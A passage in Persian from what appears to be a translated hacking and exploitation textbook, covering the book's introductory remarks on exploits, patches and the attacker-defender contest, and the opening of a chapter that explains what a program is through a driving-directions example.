ﻗﺮار ﻣﯽ ﮔﯿﺮﻧﺪ .ﺻﺮف ﻧﻈﺮ از ﻗﺎﻧﻮن و ﺑﺎ ﻓﮑﺮ ﻣﻨﻄﻘﯽ ﺑﺪﯾﻬﯽ اﺳﺖ ﮐﻪ ﺑﺮای ﻫﺮ اﮐﺴﭙﻠﻮﯾﺘﯽ ﮐﻪ ﯾـﮏ ﻓـﺮد در ﯾـﮏ ﮐﺘـﺎب
ﻣﯽ ﺧﻮاﻧﺪ ،ﯾﮏ اﺻﻼﺣﯿﻪ ) (patchﺑﺮای ﻣﻘﺎﺑﻠﻪ ﺑﺎ آن وﺟﻮد دارد .ﯾﮏ ﺳﯿﺴﺘﻢ ﮐﺎﻣﻼ اﺻﻼح ﺷﺪه ) patchﺷﺪه( در ﻣﻘﺎﺑـﻞ
اﯾﻦ ﻧﻮع ﺣﻤﻼت ﺧﺎص ﻣﺼﻮن ﻣﯽ ﺑﺎﺷﺪ .ﻧﻔﻮذﮔﺮاﻧﯽ ﮐﻪ ﺑﺪون اﺑﺪاع و ﻧﻮآوری ،ﺗﻨﻬﺎ از اﯾﻦ ﺗﮑﻨﯿﮏ ﻫﺎ اﺳﺘﻔﺎده ﻣـﯽ ﮐﻨﻨـﺪ،
ﻣﺤﮑﻮم ﺑﻪ ﺷﮑﺎر ﺣﯿﻮاﻧﺎت ﺿﻌﯿﻒ و اﺣﻤﻖ ﻫﺴﺘﻨﺪ .ﻫﮑﺮﻫﺎی واﻗﻌﯽ ﻣﯽ ﺗﻮاﻧﻨﺪ ﺣﻔﺮه ﻫﺎی اﻣﻨﯿﺘﯽ و ﺿﻌﻒ ﻫﺎی ﻣﻮﺟﻮد در
ﻧﺮم اﻓﺰارﻫﺎ را ﭘﯿﺪا ﮐﺮده و ﺑﺮای آﻧﻬﺎ اﮐﺴﭙﻠﻮﯾﺖ ﺑﻨﻮﯾﺴﻨﺪ .اﮔﺮ آﻧﻬﺎ ﺗﺼﻤﯿﻢ ﺑﮕﯿﺮﻧﺪ ﮐﻪ اﯾﻦ آﺳﯿﺐ ﭘﺬﯾﺮی ﻫﺎ را ﺑـﻪ ﯾـﮏ
ﻓﺮوﺷﻨﺪه )ﮐﻪ آن ﻧﺮم اﻓﺰار را اراﺋﻪ ﻣﯽ ﮐﻨﺪ( ﮔﺰارش ﻧﺪﻫﻨﺪ ،آﻧﮕﺎه ﻣﯽ ﺗﻮاﻧﻨـﺪ از اﮐـﺴﭙﻠﻮﯾﺖ ﻫﺎﯾـﺸﺎن ﺑـﺮای ﺣﻤﻠـﻪ ﺑـﻪ
ﺳﯿﺴﺘﻢ ﻫﺎی ﮐﺎﻣﻼ اﺻﻼح ﺷﺪه اﺳﺘﻔﺎده ﮐﺮده و ﺑﻪ آﻧﻬﺎ دﺳﺖ ﯾﺎﺑﻨﺪ.
ﻟﺬا اﮔﺮ ﻫﯿﭻ اﺻﻼﺣﯿﻪ ای وﺟﻮد ﻧﺪاﺷﺘﻪ ﺑﺎﺷﺪ ،ﭼﻪ ﭼﯿﺰ ﻣﯽ ﺗﻮاﻧﺪ ﻫﮑﺮﻫﺎ را از ﯾﺎﻓﺘﻦ ﺣﻔﺮه ﻫﺎی ﺟﺪﯾـﺪ در ﻧـﺮم اﻓﺰارﻫـﺎ و
اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن آﻧﻬﺎ ﻣﻨﻊ ﮐﻨﺪ؟ ﺟﻮاب اﯾﻦ ﺳﻮال در ﺣﻘﯿﻘﺖ دﻟﯿﻞ وﺟﻮد ﺗﯿﻢ ﻫﺎی ﺗﺤﻘﯿﻘﯽ اﻣﻨﯿﺘﯽ اﺳﺖ ﮐﻪ ﻫـﺪف آﻧﻬـﺎ
ﺳﻌﯽ در ﯾﺎﻓﺘﻦ اﯾﻦ ﺣﻔﺮه ﻫﺎ و ﮔﻮﺷﺰد ﮐﺮدن آﻧﻬﺎ ﺑﻪ ﻓﺮوﺷﻨﺪه ﻫﺎ اﺳﺖ ،ﻗﺒﻞ از اﯾﻨﮑﻪ ﺗﻮﺳﻂ ﻫﮑﺮﻫﺎ اﮐـﺴﭙﻠﻮﯾﺖ ﺷـﻮﻧﺪ.
ﯾﮏ ﺳﯿﺮﺗﮑﺎﻣﻞ ﺳﻮدﻣﻨﺪ ﺑﯿﻦ ﻫﮑﺮﻫﺎﯾﯽ ﮐﻪ ﺳﯿﺴﺘﻢ ﻫﺎ را اﻣﻦ ﮐﺮده )ﻫﮑﺮﻫﺎی ﻣﺪاﻓﻊ( و آﻧﻬﺎﯾﯽ ﮐﻪ ﺑﻪ آﻧﻬﺎ ﻧﻔﻮذ ﻣﯽ ﮐﻨﻨﺪ
)ﻫﮑﺮﻫﺎی ﻣﻬﺎﺟﻢ( وﺟﻮد دارد .اﯾﻦ رﻗﺎﺑﺖ ﺑﺮای ﻣﺎ اﻣﻨﯿﺘﯽ ﺑﯿﺸﺘﺮ و ﻧﯿﺰ ﺗﮑﻨﯿﮏ ﻫﺎی ﺣﻤﻠﻪ ﭘﯿﭽﯿﺪه ﺗﺮ و ﻣﺎﻫﺮاﻧـﻪ ﺗـﺮی را
ﺑﻪ ارﻣﻐﺎن ﻣﯽ آورد .ﻣﻘﺪﻣﻪ وﺟﻮدی و ﭘﯿﺸﺮﻓﺖ ﺳﯿﺴﺘﻢ ﻫﺎی ﺗـﺸﺨﯿﺺ ﻧﻔـﻮذ ) ،(IDSﻧﺨـﺴﺘﯿﻦ ﻧﻤﻮﻧـﻪ از اﯾـﻦ روﻧـﺪ در
ﭘﯿﺸﺮﻓﺖ ﻣﺤﺼﻮﻻت ﺷﺮﮐﺖ ﻫﺎ اﺳﺖ .ﻫﮑﺮﻫﺎی ﻣـﺪاﻓﻊ ﺳﯿـﺴﺘﻢ ﻫـﺎی ﺗـﺸﺨﯿﺺ ﻧﻔـﻮذ را ﺗﻮﻟﯿـﺪ ﻣـﯽ ﮐﻨﻨـﺪ و در ﻣﻘﺎﺑـﻞ،
ﻫﮑﺮﻫﺎی ﻣﻬﺎﺟﻢ ﺗﮑﻨﯿﮏ ﻫﺎی اﺟﺘﻨﺎب از ﺳﯿﺴﺘﻢ ﻫﺎی ﺗﺸﺨﯿﺺ ﻧﻔـﻮذ ) (IDS Evasionرا رﺷـﺪ و ﺗﻮﺳـﻌﻪ ﻣـﯽ دﻫﻨـﺪ.
7
ﻧﺘﯿﺠﻪ ﺗﻤﺎم اﯾﻦ ﺗﻘﺎﺑﻞ ﻫﺎ ،ﺗﻮﻟﯿﺪ ﺳﯿﺴﺘﻢ ﻫﺎی ﺗﺸﺨﯿﺺ ﻧﻔﻮذ ﺑﻬﺘﺮ ،ﺑﺰرﮔﺘﺮ و ﻗﻮی ﺗﺮ ﺧﻮاﻫﺪ ﺑﻮد .ﻧﺘﯿﺠﻪ ﻧﻬﺎﯾﯽ اﯾﻦ ﺗﻘﺎﺑـﻞ،
ﻣﺜﺒﺖ اﺳﺖ ﭼﺮا ﮐﻪ اﯾﻦ ﺗﻌﺎﻣﻞ ،اﻧﺴﺎن ﻫﺎی ﺑﺎﻫﻮش ﺗﺮ ،اﻣﻨﯿﺖ ﺑﺎﻻﺗﺮ ،ﻧﺮم اﻓﺰار ﻗﺪرﺗﻤﻨﺪﺗﺮ ،ﺗﮑﻨﯿﮏ ﻫﺎی ﺣـﻞ ﻣـﺴﺌﻠﻪ ی
ﻣﺒﺘﮑﺮاﻧﻪ ﺗﺮ و ﺣﺘﯽ ﯾﮏ اﻗﺘﺼﺎد ﺟﺪﯾﺪ را ﺑﺪﻧﺒﺎل ﻣﯽ آورد.
ﻗﺼﺪ اﯾﻦ ﮐﺘﺎب آﻣﻮﺧﺘﻦ روح واﻗﻌﯽ ﻫﮑﯿﻨﮓ اﺳـﺖ .اﯾـﻦ ﮐﺘـﺎب ﺗﮑﻨﯿـﮏ ﻫـﺎی ﻣﺨﺘﻠـﻒ ﭘﺎﯾـﻪ در ﻫﮑﯿﻨـﮓ را ﺑﺮرﺳـﯽ و
ﮐﺎﻟﺒﺪﺷﮑﺎﻓﯽ ﻣﯽ ﮐﻨﺪ و ﺧﻮاﻧﻨﺪه ﭼﮕﻮﻧﮕﯽ ﻫﺎ و دﻟﯿﻞ ﮐﺎرﮐﺮد اﯾﻦ ﺗﮑﻨﯿﮏ ﻫﺎ را درک ﺧﻮاﻫﺪ ﮐﺮد .ﺑﻪ اﯾﻦ ﻃﺮﯾﻖ ﺑﺎ ﻋﺮﺿﻪ
اﯾﻦ اﻃﻼﻋﺎت ،ﺧﻮاﻧﻨﺪه ﺑﻪ درک ﻋﻤﯿﻘﯽ از ﻣﻔﺎﻫﯿﻢ ﻫﮑﯿﻨﮓ ﺧﻮاﻫﺪ رﺳﯿﺪ ﮐﻪ ﻣﻤﮑـﻦ اﺳـﺖ او را ﺑـﻪ ارﺗﻘـﺎء ﺗﮑﻨﯿـﮏ ﻫـﺎی
ﺣﺎﺿﺮ ﯾﺎ ﺣﺘﯽ ﻧﻮآوری ﺗﮑﻨﯿﮏ ﻫﺎی ﺟﺪﯾﺪ ﺳﻮق دﻫﺪ .اﻣﯿﺪوارم اﯾﻦ ﮐﺘﺎب ذات ﮐﻨﺠﮑﺎوی را در ﺷـﻤﺎ ﺗﺤﺮﯾـﮏ ﮐـﺮده و
ﺻﺮف ﻧﻈﺮ از اﯾﻨﮑﻪ ﮐﺪام ﻃﺮف دﯾﻮار اﯾﺴﺘﺎده اﯾﺪ )ﻫﮑﺮ ﻣﻬﺎﺟﻢ ﻣﯽ ﺷﻮﯾﺪ ﯾﺎ ﻫﮑﺮﻣﺪاﻓﻊ( ،ﺑﻪ ﻃﺮﯾﻘﯽ ﺷﻤﺎ را ﺑﺮای ﺷﺮﮐﺖ
در ﻫﻨﺮ ﻫﮑﯿﻨﮓ ﺑﺮاﻧﮕﯿﺰد.
8
ﻓﺼﻞ :2ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ
ﻣﺮور
ﮐﻠﻤﻪ ﻫﮑﺮ ﻫﻢ ﺑﻪ اﻓﺮادی ﮐﻪ ﮐﺪﻧﻮﯾﺴﯽ )ﺣﻤﻼت( ﻣﯽ ﮐﻨﻨﺪ اﻃﻼق ﻣﯽ ﺷﻮد و ﻫﻢ ﺑﻪ اﻓـﺮادی ﮐـﻪ آن ﮐـﺪﻫﺎ را اﮐـﺴﭙﻠﻮﯾﺖ
ﻣﯽ ﮐﻨﻨﺪ .ﺣﺘﯽ ﺑﺎ وﺟﻮد اﻫﺪاف ﻣﺘﻔﺎوت آﻧﻬﺎ ،ﻫﺮ دو ﮔﺮوه از ﺗﮑﻨﯿﮏ ﻫﺎی ﺣﻞ ﻣﺴﺌﻠﻪ ﻣﺸﺎﺑﻬﯽ اﺳﺘﻔﺎده ﻣـﯽ ﮐﻨﻨـﺪ .ﭼـﻮن
ﻓﻬﻢ ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ در اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن ﺑﺮﻧﺎﻣﻪ ﻫﺎ ﻣﻔﯿﺪ اﺳﺖ و ﺑﻌﮑﺲ ،ﻓﻬﻢ روش ﻫﺎی اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن ﺑﺮﻧﺎﻣﻪ ﻫـﺎ ﺑـﻪ
ﻓﻬﻢ ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﻧﯿﺰ ﮐﻤﮏ ﻣﯽ ﮐﻨﺪ ،ﻟﺬا ﻫﮑﺮﻫﺎ ﻣﻌﻤﻮﻻ ﻫﺮ دو ﮐﺎر را در ﮐﻨﺎر ﻫﻢ اﻧﺠـﺎم ﻣـﯽ دﻫﻨـﺪ .ﻣـﻮارد ﺟـﺎﻟﺒﯽ در
ﺗﮑﻨﯿﮏ ﻫﺎی ﮐﺪﻧﻮﯾﺴﯽ ﻇﺮﯾﻒ ) (elegantو ﻧﯿﺰ ﺗﮑﻨﯿﮏ ﻫﺎی ﻣﻮرد اﺳﺘﻔﺎده ﺟﻬﺖ اﮐﺴﭙﻠﻮﯾﺖ ﮐـﺮدن ﺑﺮﻧﺎﻣـﻪ ﻫـﺎ وﺟـﻮد
دارد .ﻋﻠﻢ Hackingدر اﺻﻞ ﻓﺮآﯾﻨﺪ ﯾﺎﻓﺘﻦ راه ﺣﻞ زﯾﺮﮐﺎﻧﻪ ﺑﺮای ﯾﮏ ﻣﺴﺌﻠﻪ اﺳﺖ.
اﮐﺴﭙﻠﻮﯾﺖ ﻫﺎی ﺑﺮﻧﺎﻣﻪ ای ﺟﻬﺖ ﻧﯿﻞ ﺑﻪ ﻧﺘﺎﯾﺞ ﻣﻮرد ﻧﻈﺮ )ﮐﻪ ﻣﻌﻤﻮﻻ روی دور زدن ﺗـﺪاﺑﯿﺮ اﻣﻨﯿﺘـﯽ ﻣﺘﻤﺮﮐـﺰ ﻣـﯽ ﺷـﻮﻧﺪ(
ﻣﻌﻤﻮﻻ در اﺳﺘﻔﺎده از ﻗﻮاﻧﯿﻦ ﮐﺎﻣﭙﯿﻮﺗﺮی در روﺷﻬﺎی ﻧﺎﺷﻨﺎﺧﺘﻪ ﭘﯿﻮﻧﺪ ﻣﯽ ﺧﻮرﻧـﺪ .در ﻧﻮﺷـﺘﻦ ﺑﺮﻧﺎﻣـﻪ ﻫـﺎ از ﻓﺮاﯾﻨـﺪﻫﺎی
ﯾﮑﺴﺎﻧﯽ اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد )اﯾﻨﮑﻪ آﻧﻬﺎ ﻧﯿﺰ ﻗﻮاﻧﯿﻦ ﮐﺎﻣﭙﯿﻮﺗﺮی را ﺑﻪ ﻃﺮق ﺟﺪﯾﺪ و اﺑﺪاﻋﯽ اﺳـﺘﻔﺎده ﻣـﯽ ﮐﻨﻨـﺪ( ،اﻣـﺎ ﻫـﺪف
ﻧﻬﺎﯾﯽ در ﺗﻤﺎم ﻣﻮارد دﺳﺘﯿﺎﺑﯽ ﺑﻪ ﺑﻬﺘﺮﯾﻦ و ﻣﻮﺛﺮﺗﺮﯾﻦ روش ﻣﻤﮑﻦ ﺟﻬﺖ اﻧﺠﺎم ﯾﮏ ﻋﻤﻞ ﻣﻌﯿﻦ اﺳﺖ .ﺑﺮﻧﺎﻣـﻪ ﻫـﺎی ﺑـﯽ
ﺷﻤﺎری را ﻣﯽ ﺗﻮان ﺑﺮای اﻧﺠﺎم ﯾﮏ ﻋﻤﻞ ﻣﻌﯿﻦ ﻧﻮﺷﺖ ،اﻣﺎ ﺑﺴﯿﺎری از راه ﺣﻞ ﻫﺎ در اﯾﻦ ﺑﺮﻧﺎﻣﻪ ﻫﺎ ﺑﻄﻮر ﻏﯿﺮﻻزم ﺑﺰرگ،
ﭘﯿﭽﯿﺪه و ﻧﺎﻣﺮﺗﺐ ﻫﺴﺘﻨﺪ .راه ﺣﻞ ﻫﺎی ﮐﻤﯽ در اﯾﻦ ﺑـﯿﻦ ﮐﻮﭼـﮏ ،ﮐـﺎرا و ﻣﺮﺗـﺐ ﻫـﺴﺘﻨﺪ .اﯾـﻦ ﺧـﺼﻮﺻﯿﺖ از ﺑﺮﻧﺎﻣـﻪ،
ﻇﺮاﻓﺖ ) (eleganceﻧﺎم دارد و راه ﺣﻞ ﻫﺎی ﻋﺎﻗﻼﻧﻪ و ﻣﺒﺘﮑﺮاﻧﻪ ﮐﻪ ﻣﺎ را ﺑﻪ اﯾﻦ ﺳﻄﺢ از ﮐﺎراﯾﯽ ﺳﻮق ﻣـﯽ دﻫﻨـﺪ ،ﻫـﮏ
) (hackﻧﺎﻣﯿﺪه ﻣﯽ ﺷﻮﻧﺪ .ﻫﮑﺮﻫﺎ در ﻫﺮ ﮔﺮاﯾﺸﯽ از دو ﺟﻨﺒﻪ ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ )ﮐﺪﻧﻮﯾـﺴﯽ ﯾـﺎ اﮐـﺴﭙﻠﻮﯾﺖ ﮐـﺮدن آن( ﮐـﻪ
ﺑﺎﺷﻨﺪ ،زﯾﺒﺎﯾﯽ ﻣﻮﺟﻮد در ﮐﺪﻫﺎی ﻇﺮﯾﻒ و ﻗﻮه اﺑﺘﮑﺎر ﻣﻮﺟﻮد در ﻫﮏ ﻫﺎی ﻋﺎﻗﻼﻧﻪ را ﺳﺘﺎﯾﺶ ﻣﯽ ﮐﻨﻨﺪ.
ﺑﻪ ﻋﻠﺖ رﺷﺪ ﻧﺎﮔﻬﺎﻧﯽ ﻗﺪرت ﻣﺤﺎﺳﺒﺎﺗﯽ و ﺟﻮﺷﺶ ﻣﺮاﮐﺰ اﻗﺘﺼﺎدی در اﯾﻨﺘﺮﻧﺖ ،اﻫﻤﯿﺖ ﮐﻤﺘﺮی ﺑﻪ ﻫﮑﻬﺎی ﻋﺎﻗﻼﻧﻪ و ﮐـﺪ
ﻇﺮﯾﻒ داده ﺷﺪه اﺳﺖ .در اﯾﻦ ﻣﯿﺎن ﺗﻨﻬﺎ ﻫﺪف رﺳﯿﺪن ﻫﺮﭼﻪ ﺳﺮﯾﻊ ﺗﺮ و ارزان ﺗﺮ ﺑﻪ ﮐﺪ ﻋﻤﻠﯿﺎﺗﯽ 4اﺳﺖ .ﺻﺮف ﮐﺮدن
5ﺳﺎﻋﺖ وﻗﺖ ﺑﯿﺸﺘﺮ ﺟﻬﺖ ﺗﻮﻟﯿﺪ ﯾﮏ ﮐﺪ ﺳﺮﯾﻊ ﺗﺮ و ﮐﺎراﺗﺮ از ﻟﺤﺎظ ﺣﺎﻓﻈﻪ ای ،ﮐﻪ در ﭘﺮدازﻧﺪه ﻫـﺎی ﻣـﺪرن ﻣـﺸﺘﺮی
ﻫﺎ ﻓﻘﻂ از ﻫﺪر رﻓﺘﻦ ﺗﻌﺪاد ﻣﯿﻠﯽ ﺛﺎﻧﯿﻪ ﻫﺎی ﮐﻤﯽ ﺟﻠﻮﮔﯿﺮی ﻣﯽ ﮐﻨﺪ و ﺷـﺎﯾﺪ ﮐﻤﺘـﺮ از ﯾـﮏ درﺻـﺪ از ﻣﯿﻠﯿـﻮن ﻫـﺎ ﺑﺎﯾـﺖ
ﺣﺎﻓﻈﻪ ای ﮐﻪ در ﮐﺎﻣﭙﯿﻮﺗﺮﻫﺎی آﻧﻬﺎ در دﺳﺘﺮس اﺳﺖ ﺑﺎﺷﺪ ،از دﯾﺪ ﺗﺠﺎری ﻗﺎﺑﻞ ﻗﺒﻮل ﻧﯿﺴﺖ .زﻣﺎﻧﯽ ﮐﻪ دﻟﯿﻞ اﺻﻠﯽ ﭘـﻮل
ﺑﺎﺷﺪ ،ﺻﺮف زﻣﺎن روی ﻫﮏ ﻫﺎی ﻋﺎﻗﻼﻧﻪ ﺗﺮ ﺑﺮای ﺑﻬﯿﻨﻪ ﺳﺎزی ﮐﺪ ﻣﻌﻘﻮل ﻧﯿﺴﺖ.
در اﯾﻦ ﺑﯿﻦ ﻓﻘﻂ ﻫﮑﺮﻫﺎ ﺑﻪ اﻫﻤﯿﺖ ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﻇﺮﯾﻒ ﭘﯽ ﺑﺮده اﻧﺪ :ﻋﻼﻗﻪ ﻣﻨﺪان ﺑـﻪ ﮐـﺎﻣﭙﯿﻮﺗﺮ ﮐـﻪ ﻫـﺪف ﻧﻬـﺎﯾﯽ آﻧﻬـﺎ
ﻣﻨﻔﻌﺖ ﻧﯿﺴﺖ ،ﺑﻠﮑﻪ ﻫﺪف آﻧﻬﺎ ﻓﺸﺮده ﮐﺮدن ﻫﺮ ﭼﻪ ﻣﻤﮑﻦ از ﻫﺮ ﺑﯿﺖ از ﮐﺪ ﻋﻤﻠﯿﺎﺗﯽِ ﮐﻤـﻮدور 64اﺳـﺖ؛ اﮐـﺴﭙﻠﻮﯾﺖ
ﻧﻮﯾﺴﺎﻧﯽ ﮐﻪ اﺣﺘﯿﺎج ﺑﻪ ﻧﻮﺷﺘﻦ ﺗﮑﻪ ﮐﺪﻫﺎی ﮐﻮﭼﮏ و ﺣﯿﺮت آوری دارﻧﺪ ﮐﻪ از ﮐﻮﭼﮑﺘﺮﯾﻦ ﺣﻔﺮه ﻫـﺎی اﻣﻨﯿﺘـﯽ اﺳـﺘﻔﺎده
ﮐﻨﺪ؛ و ﻫﺮ ﮐﺴﯽ ﮐﻪ ﺣﺮﻓﻪ و ﭼﺎﻟﺶِ ﯾﺎﻓﺘﻦ ﺑﻬﺘﺮﯾﻦ راه ﺣﻞ را ﺑﺮای ﯾﮏ ﻣـﺴﺌﻠﻪ ﺳـﺘﺎﯾﺶ ﻣـﯽ ﮐﻨـﺪ .اﯾـﻦ ﮔـﺮوه از ﻣـﺮدم
ﻫﺴﺘﻨﺪ ﮐﻪ درﺑﺎره ﻣﺴﺎﺋﻞ ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﻣﻬﯿﺞ ﺷﺪه و واﻗﻌﺎ زﯾﺒﺎﯾﯽ ﻣﻮﺟﻮد در ﯾﮏ ﺗﮑﻪ ﮐﺪ ﻇﺮﯾﻒ ﯾﺎ ﻗـﻮه اﺑﺘﮑـﺎر ﻣﻮﺟـﻮد
در ﯾﮏ ﻫﮏ زﯾﺮﮐﺎﻧﻪ را ﻣﯽ ﺳﺘﺎﯾﻨﺪ .ﭼﻮن ﻓﻬﻢ ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﭘﯿﺶ ﻧﯿﺎزِ ﻓﻬﻢ ﭼﮕﻮﻧﮕﯽ اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن ﺑﺮﻧﺎﻣﻪ ﻫﺎ اﺳﺖ،
ﻟﺬا ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﻧﻘﻄﻪ ﺷﺮوع ﻣﻨﺎﺳﺒﯽ ﺑﻪ ﻧﻈﺮ ﻣﯽ رﺳﺪ.
4
- Functional Code
9
.2,1ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﭼﯿﺴﺖ؟
ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﯾﮏ ﻣﻔﻬﻮم ﻃﺒﯿﻌﯽ و ﻧﮕﺮﺷﯽ اﺳﺖ .ﯾﮏ ﺑﺮﻧﺎﻣﻪ ) (programﭼﯿﺰی ﺟﺰ ﯾﮏ ﺳﺮی از ﺟﻤﻼت و دﺳﺘﻮرات
ﻧﻮﺷﺘﻪ ﺷﺪه در ﯾﮏ زﺑﺎن ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﺧﺎص ﻧﯿﺴﺖ .ﺑﺮﻧﺎﻣﻪ ﻫﺎ ﻫﻤﻪ ﺟﺎ وﺟﻮد دارﻧﺪ ،ﺣﺘﯽ در ﺳﺮاﺳﺮ دﻧﯿﺎ ﻧﯿـﺰ اﻓـﺮاد از
ﺑﺮﻧﺎﻣﻪ ﻫﺎی روزاﻧﻪ ﺧﻮد اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﻨﺪ .دﺳﺘﻮر اﻟﻌﻤﻞ راﻧﻨﺪﮔﯽ ،دﺳﺘﻮر اﻟﻌﻤﻞ آﺷـﭙﺰی ،ﺑـﺎزی ﮐـﺮدن ﻓﻮﺗﺒـﺎل و ﺣﺘـﯽ
ﺳﻠﻮل ﻫﺎ و DNAﻫﺎی ﺑﺪن ﻧﯿﺰ ﺑﺮﻧﺎﻣﻪ ﻫﺎﯾﯽ ﻫﺴﺘﻨﺪ ﮐﻪ در زﻧﺪﮔﯽ اﻧﺴﺎن ﻧﻘﺶ دارﻧﺪ .ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﻧﻤﻮﻧﻪ ﺑﺮای دﺳﺘﻮرات
راﻧﻨﺪﮔﯽ ﻣﯽ ﺗﻮاﻧﺪ ﭼﻨﯿﻦ ﺑﺎﺷﺪ:
از ﺧﯿﺎﺑﺎن اﺻﻠﯽ ﮐﻪ ﮐﻤﯽ ﺟﻠﻮﺗﺮ در ﺳﻤﺖ راﺳﺖ اﺳﺖ ﺷﺮوع ﮐﻨﯿﺪ .ﺑﻪ راﻧﻨﺪﮔﯽ ﺧﻮد اداﻣﻪ دﻫﯿﺪ ﺗﺎ زﻣﺎﻧﯽ ﮐﻪ ﯾـﮏ ﮐﻠﯿـﺴﺎ
در ﺳﻤﺖ راﺳﺖ ﺧﻮد ﺑﺒﯿﻨﯿﺪ .اﮔﺮ ﺧﯿﺎﺑﺎن ﺑﻪ ﺧﺎﻃﺮ ﺳﺎﺧﺖ و ﺳﺎز ﻣﺴﺪود ﺑﻮد ،ﺑﻪ ﺳﻤﺖ راﺳﺖ در ﺧﯿﺎﺑﺎن ﭘﺎﻧﺰدﻫﻢ ،ﺳـﭙﺲ
ﺑﻪ ﺳﻤﺖ ﭼﭗ در ﺧﯿﺎﺑﺎن ﮐﺎج ،ﻧﻬﺎﯾﺘﺎ ﺑﻪ ﺳﻤﺖ راﺳﺖ در ﺧﯿﺎﺑﺎن ﺷﺎﻧﺰدﻫﻢ ﺑﭙﯿﭽﯿﺪ .اﮔﺮ ﺧﯿﺎﺑﺎن ﻣﺴﺪود ﻧﺒﻮد ﺑﻪ ﻣﺴﯿﺮ ﺧـﻮد
اداﻣﻪ ﺑﺪﻫﯿﺪ ﺗﺎ ﺑﻪ ﺧﯿﺎﺑﺎن ﺷﺎﻧﺰدﻫﻢ ﺑﺮﺳﯿﺪ ،ﺳﭙﺲ ﺑﻪ ﺳﻤﺖ راﺳﺖ در آن ﺧﯿﺎﺑﺎن ﺑﭙﯿﭽﯿﺪ .در ﺧﯿﺎﺑﺎن ﺷﺎﻧﺰدﻫﻢ ﺑﻪ ﺣﺮﮐـﺖ
ﺧﻮد اداﻣﻪ دﻫﯿﺪ و ﺑﻪ ﺳﻤﺖ در ﺟﺎده ﻣﻘﺼﺪ ﺑﭙﯿﭽﯿﺪ .در ﺟﺎده ﻣﻘﺼﺪ ﺑﻪ ﻣﯿﺰان 5ﻣﺎﯾﻞ ﺑﺮاﻧﯿﺪ و ﺑـﻪ ﺧﺎﻧـﻪ ای ﮐـﻪ در ﺳـﻤﺖ
راﺳﺖ اﺳﺖ ﺑﺮﺳﯿﺪ .ﭘﻼک آن ﺧﺎﻧﻪ 743اﺳﺖ.
ﻫﺮﮐﺲ ﮐﻪ ﭘﺎرﺳﯽ ﺑﺪاﻧﺪ ﻣﯽ ﺗﻮاﻧﺪ اﯾﻦ دﺳﺘﻮرات و ﺟﻬﺖ ﻫـﺎی راﻧﻨـﺪﮔﯽ را دﻧﺒـﺎل ﮐﻨـﺪ .اﮔﺮﭼـﻪ اﯾـﻦ دﺳـﺘﻮرات ﺷـﯿﻮا
ﻧﯿﺴﺘﻨﺪ ،اﻣﺎ ﻫﺮ دﺳﺘﻮر واﺿﺢ و ﺑﻪ راﺣﺘﯽ ﻗﺎﺑﻞ دارک اﺳﺖ )ﺣﺪاﻗﻞ ﺑﺮای ﮐﺴﯽ ﮐﻪ ﭘﺎرﺳﯽ ﻣﯽ داﻧﺪ(.
اﻣﺎ ﯾﮏ ﮐﺎﻣﭙﯿﻮﺗﺮ ذاﺗﺎ زﺑﺎن ﭘﺎرﺳﯽ ﯾﺎ اﻧﮕﻠﯿﺴﯽ را ﻧﻤﯽ ﻓﻬﻤﺪ ،ﺑﻠﮑﻪ ﻓﻘﻂ زﺑـﺎن ﻣﺎﺷـﯿﻦ ) (machine languageرا درک
ﻣﯽ ﮐﻨﺪ .ﺑﺮای ﻓﺮﻣﺎن دادن ﺑﻪ ﮐﺎﻣﭙﯿﻮﺗﺮ ﺟﻬﺖ اﻧﺠﺎم ﯾﮏ ﮐﺎر ،ﺑﺎﯾﺪ اﯾﻦ ﻓﺮﻣﺎن ﻫﺎ )دﺳﺘﻮرات( ﺑﻪ زﺑﺎن ﻗﺎﺑﻞ ﻓﻬﻢ ﮐﺎﻣﭙﯿﻮﺗﺮ
)زﺑﺎن ﻣﺎﺷﯿﻦ( ﻧﻮﺷﺘﻪ ﺷﻮﻧﺪ .اﻣﺎ ﮐﺎرﮐﺮدن ﺑﺎ زﺑﺎن ﻣﺎﺷﯿﻦ دﺷﻮار ﻣﯽ ﺑﺎﺷﺪ و ﺷﺎﻣﻞ ﺑﯿﺖ ﻫﺎ و ﺑﺎﯾﺖ ﻫﺎی ﺧﺎﻣﯽ اﺳﺖ ﮐـﻪ از
ﯾﮏ ﻣﻌﻤﺎری ﺑﻪ ﯾﮏ ﻣﻌﻤﺎری دﯾﮕﺮ ﺗﻔﺎوت دارد .ﻟﺬا ﺟﻬﺖ ﻧﻮﺷﺘﻦ ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﺑﻪ زﺑﺎن ﻣﺎﺷﯿﻦ ﺑﺮای ﯾﮏ ﭘﺮدازﻧﺪه اﯾﻨﺘـﻞ
،x86ﺷﺨﺺ ﺑﺎﯾﺪ ارزش و ﻣﻘﺪار ﻣﺮﺗﺒﻂ ﺑﻪ ﻫﺮ دﺳﺘﻮر ،ﭼﮕﻮﻧﮕﯽ ﺗﺎﺛﯿﺮات دﺳﺘﻮر و ﺗﻘﺎﺑﻞ اﺛﺮ آن و ﺟﺰﺋﯿﺎت ﺳﻄﺢ ﭘﺎﺋﯿﻦ
